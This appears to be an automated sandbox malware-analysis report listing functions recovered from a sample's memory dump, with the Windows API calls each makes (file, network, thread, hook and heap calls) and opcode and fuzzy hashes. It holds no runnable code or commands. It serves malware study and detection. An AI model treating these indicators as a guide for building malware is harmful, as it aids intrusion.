Opcode ID: 36c9bee9e4f77eb664fd34bff3c872db5d9aac19f569e69b3067e9d772d79fcd
Instruction ID: 3e99029ea71696bb734f169f19f86ccf4af25ce8110f823dc7f56205c7c92d8c
Opcode Fuzzy Hash: 36c9bee9e4f77eb664fd34bff3c872db5d9aac19f569e69b3067e9d772d79fcd
Instruction Fuzzy Hash: E8315071604301AFE720DF65C881B6BB3E8AFC8710F00982EF995C7340D678E9098B66

Function 004B48C9 Relevance: 5.1, APIs: 4, Instructions: 61
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(?), ref: 004B48DF
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000001), ref: 004B4906
lstrlen.KERNEL32(?), ref: 004B4921
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000001), ref: 004B4948

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWidelstrlen
String ID:
API String ID: 3109718747-0
Opcode ID: d77ad78f181ac3a61f94ab5ec2c9f5bdb79945cb63d5c4f6f6b6bb64b0611bb9
Instruction ID: 04de7afb0c9b9c14ee70af11e6ccc366b4caae33be2979f9b615572eaf9beb8b
Opcode Fuzzy Hash: d77ad78f181ac3a61f94ab5ec2c9f5bdb79945cb63d5c4f6f6b6bb64b0611bb9
Instruction Fuzzy Hash: F911E573404216FBEF111B65DC09F9B3F68EF82365F204135FA2986290D7349A2197A9

Function 0047CE10 Relevance: 4.6, APIs: 3, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32(?,00000000,00000001,00000000,?), ref: 0047CE9B
__WSAFDIsSet.WS2_32(?,00000001), ref: 0047CEB5
send.WS2_32(?,?,?,00000000), ref: 0047CED1

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: selectsend
String ID:
API String ID: 2999949978-0
Opcode ID: 0e2dcacdc7e9475625747939bb0f9161dd9ba88bb5a5f5c72c5c6f3a6822d7fc
Instruction ID: 878fa752ff17bc66feeecb6258a5ffa7e178ad3d4c9b3a324072655229d5f4e9
Opcode Fuzzy Hash: 0e2dcacdc7e9475625747939bb0f9161dd9ba88bb5a5f5c72c5c6f3a6822d7fc
Instruction Fuzzy Hash: CF218471508201ABD728CB18DC81BFB77D9AFC4714F04C71EF9A9862C0E778A9088B96

Function 0047D660 Relevance: 4.6, APIs: 3, Instructions: 65networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000100), ref: 0047D671
gethostbyname.WS2_32(00000100), ref: 0047D689

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostname
String ID:
API String ID: 3961807697-0
Opcode ID: 3741fb4e6e3c8070f0ca6c35de6c2c75af5032351f0328cc33cc610cc93805c0
Instruction ID: 848111f0c242e8df66cd0be9985e32bb0c9a963aa4d211774fea9709ef3924f7
Opcode Fuzzy Hash: 3741fb4e6e3c8070f0ca6c35de6c2c75af5032351f0328cc33cc610cc93805c0
Instruction Fuzzy Hash: 8E112771A142005FCB24EE7CA8815D777E5BF80714F50853EFA9983290EA79D844C689

Function 004AFF26 Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 004AFF33
GetSystemMetrics.USER32(0000000C), ref: 004AFF3A
73E9A570.USER32(00000000), ref: 004AFF53

Part of subcall function 004B45A5: GetSystemMetrics.USER32(00000002), ref: 004B45B7
Part of subcall function 004B45A5: GetSystemMetrics.USER32(00000003), ref: 004B45C1

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: MetricsSystem$A570CallbackDispatcherUser
String ID:
API String ID: 1939568193-0
Opcode ID: 880898c8d0338ec14b8a6f1df2c187c31dec363521ba2282b2125753a2babea9
Instruction ID: a2e232860483254e20fbfa630f37b2d5d8a1bd399a6696bb29b80b963f2f1657
Opcode Fuzzy Hash: 880898c8d0338ec14b8a6f1df2c187c31dec363521ba2282b2125753a2babea9
Instruction Fuzzy Hash: BCF09030640700AFE6206B729C89F1777A4EFC2752F01452AF30586291DA74AC05CEA9

Function 004AA6A4 Relevance: 3.1, APIs: 2, Instructions: 107fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004AA9D0: __EH_prolog.LIBCMT ref: 004AA9D5
Part of subcall function 004AA9D0: GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?), ref: 004AA9F3
Part of subcall function 004AA9D0: lstrcpyn.KERNEL32(?,?,00000104), ref: 004AAA02

CreateFileA.KERNEL32(00000000,80000000,00000000,0000000C,00000003,00000080,00000000,?,?,?,?), ref: 004AA77F
GetLastError.KERNEL32 ref: 004AA791

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CreateErrorFileFullH_prologLastNamePathlstrcpyn
String ID:
API String ID: 1034715445-0
Opcode ID: 5207911cfc4810e5b0696834688989d0f380ce67cb8855c47c27f951e9e30692
Instruction ID: 93c4dde3862015e0b64698c2171dfd602e529040084f8e3a935b82ef07175eef
Opcode Fuzzy Hash: 5207911cfc4810e5b0696834688989d0f380ce67cb8855c47c27f951e9e30692
Instruction Fuzzy Hash: ED314F79A003056BEB208F65CC55BAB7775ABA2314F24892FE012CB2C0D77CDC55C756

Function 00423050 Relevance: 3.1, APIs: 2, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ff3eae571ba03922275dd90d55b34b706436323ce14d576532d50cb30741b52
Instruction ID: 185cf945aa4e3418b84a0dc052761cf22a4d1b2e3d1081b9d99b775d0091d800
Opcode Fuzzy Hash: 0ff3eae571ba03922275dd90d55b34b706436323ce14d576532d50cb30741b52
Instruction Fuzzy Hash: D72139B27007148FE720CF6AE884B57B7E8EBA4316B50893FE159C7610E379E915CB64

Function 0047E970 Relevance: 3.0, APIs: 2, Instructions: 41threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,?), ref: 0047E99C
FindCloseChangeNotification.KERNEL32(00000000,?,00000000,00000000,?), ref: 0047E9C4

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindNotificationThread
String ID:
API String ID: 4060959955-0
Opcode ID: e46450bcf436935242711125bb7bc9cf259f206ede8bc0cffdfb26f9eca06278
Instruction ID: 2bddfdb962ad1e08a58b990446339a2c6505b1529e704df417dea0858823f58d
Opcode Fuzzy Hash: e46450bcf436935242711125bb7bc9cf259f206ede8bc0cffdfb26f9eca06278
Instruction Fuzzy Hash: D0F012B67042019BD754CF2AD840FABB3E9AF89711F14895DE186C7290D770E806CB54

Function 00423250 Relevance: 3.0, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00CD7ED0,0042323C,00DF0D38,00000000,0042FFDA,?,?), ref: 00423299
RtlFreeHeap.NTDLL(00DC0000,00000000,00DF0D38,00000000,00CD7ED0,0042323C,00DF0D38,00000000,0042FFDA,?,?), ref: 004232A8

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: a581b0d0a8141a1274c9c7edd8fcab8fcdfd60e7950f6cffa8f6461abb8cde4e
Instruction ID: 4f4e17256c38ebc25507928bfd39387cdb8e4d1e161b482b612f9dd41ff8ec40
Opcode Fuzzy Hash: a581b0d0a8141a1274c9c7edd8fcab8fcdfd60e7950f6cffa8f6461abb8cde4e
Instruction Fuzzy Hash: 5CF06833300211DBC7108F29ED08B4A77AAEBD1715F55C5BBD5548B214D335E901C7A8

Function 004B42DC Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000000,00000000,004AFFA8,00000000,00000000,00000000,00000000,?,00000000,?,004A7B61,00000000,00000000,00000000,00000000,00498F35), ref: 004B42E5
SetErrorMode.KERNEL32(00000000,?,00000000,?,004A7B61,00000000,00000000,00000000,00000000,00498F35,00000000), ref: 004B42EC

Part of subcall function 004B433F: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 004B4370
Part of subcall function 004B433F: lstrcpy.KERNEL32(?,.HLP), ref: 004B4411
Part of subcall function 004B433F: lstrcat.KERNEL32(?,.INI), ref: 004B443E

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ErrorMode$FileModuleNamelstrcatlstrcpy
String ID:
API String ID: 3389432936-0
Opcode ID: 8eaec7e0903177d8400625ac555dd6b5e4c0548a02aa5fafda820f50dce98867
Instruction ID: af75a51c16e5360e21f927e1b9cf987cc47e76f69766c5f58bfb2705735f8782
Opcode Fuzzy Hash: 8eaec7e0903177d8400625ac555dd6b5e4c0548a02aa5fafda820f50dce98867
Instruction Fuzzy Hash: BEF08C74A043108FC704AF65D005F4D3BE4AF44311F09848FB4489B3A2CB78D800CB69

Function 004AA7FB Relevance: 3.0, APIs: 2, Instructions: 31fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000001,?,0042090F,-00000010,?,?,00001011,00000000), ref: 004AA816
GetLastError.KERNEL32(?,?,0042090F,-00000010,?,?,00001011,00000000), ref: 004AA823

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: db6f884e2384edc9475b4c6905a9e11be7b44ddcdc194f8b5b431964d668c623
Instruction ID: 24eee8929279aea86ad7f73c16a9b9483c4bee849ed8d772f02e52ca447cd362
Opcode Fuzzy Hash: db6f884e2384edc9475b4c6905a9e11be7b44ddcdc194f8b5b431964d668c623
Instruction Fuzzy Hash: 74F0A736100604BBCB206B96DC04E5BBB7CEFA6730F10C63BBA2855150D739D824CB69

Function 0049E176 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,00498EB3,00000001), ref: 0049E187

Part of subcall function 0049E02E: GetVersionExA.KERNEL32 ref: 0049E04D

HeapDestroy.KERNEL32 ref: 0049E1C6

Part of subcall function 004A1A45: RtlAllocateHeap.NTDLL(00000000,00000140,0049E1AF), ref: 004A1A52

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCreateDestroyVersion
String ID:
API String ID: 760317429-0
Opcode ID: d40ef21aefbba9a79e81a23a75c39fb2e02668d80a2b5d3955ae6d998d3735bb
Instruction ID: 177318b9f77b23909d815909f9e3e28fd810c005b211d7669c96dc5d875a8a50
Opcode Fuzzy Hash: d40ef21aefbba9a79e81a23a75c39fb2e02668d80a2b5d3955ae6d998d3735bb
Instruction Fuzzy Hash: 75F065705443015ADF20A7779C0777A3FD1AB49751F14443BF901C52E4EBF88880D50A

Function 00439C20 Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

LoadImageA.USER32(?,?,00000001,00000020,00000020,00000000), ref: 00439C3B
LoadImageA.USER32(?,?,00000001,00000010,00000010,00000000), ref: 00439C4D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ImageLoad
String ID:
API String ID: 306446377-0
Opcode ID: 0bf5eee40f336058cfc6949ba17ce26c5f9985a8b2f19f75463d7080fb4a18e7
Instruction ID: 218ed00303429b7ac37bfa6093388a1321fe6b0b048f6e376a21697795ea3805
Opcode Fuzzy Hash: 0bf5eee40f336058cfc6949ba17ce26c5f9985a8b2f19f75463d7080fb4a18e7
Instruction Fuzzy Hash: E3E0ED3234531177D620CE5A8C85F9BF7A9FB8EB10F540819B344AB1D1C2F1A4458669

Function 004AECFD Relevance: 3.0, APIs: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004AED10
SetWindowsHookExA.USER32(000000FF,004AF052,00000000,00000000), ref: 004AED20

Part of subcall function 004B3B14: __EH_prolog.LIBCMT ref: 004B3B19

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CurrentH_prologHookThreadWindows
String ID:
API String ID: 2183259885-0
Opcode ID: 492537ef40345580d7b7de966ba04088237b5524c2ce88edb15a6a31e4644398
Instruction ID: b79f11d0d529db17a929a6143cbcfa5bdab58be8a67ac042d80c0522b5bff720
Opcode Fuzzy Hash: 492537ef40345580d7b7de966ba04088237b5524c2ce88edb15a6a31e4644398
Instruction Fuzzy Hash: E2F0A731500200ABCF253FB25C0E7D976909B15715F15076EB652561E2CA7C9E808779

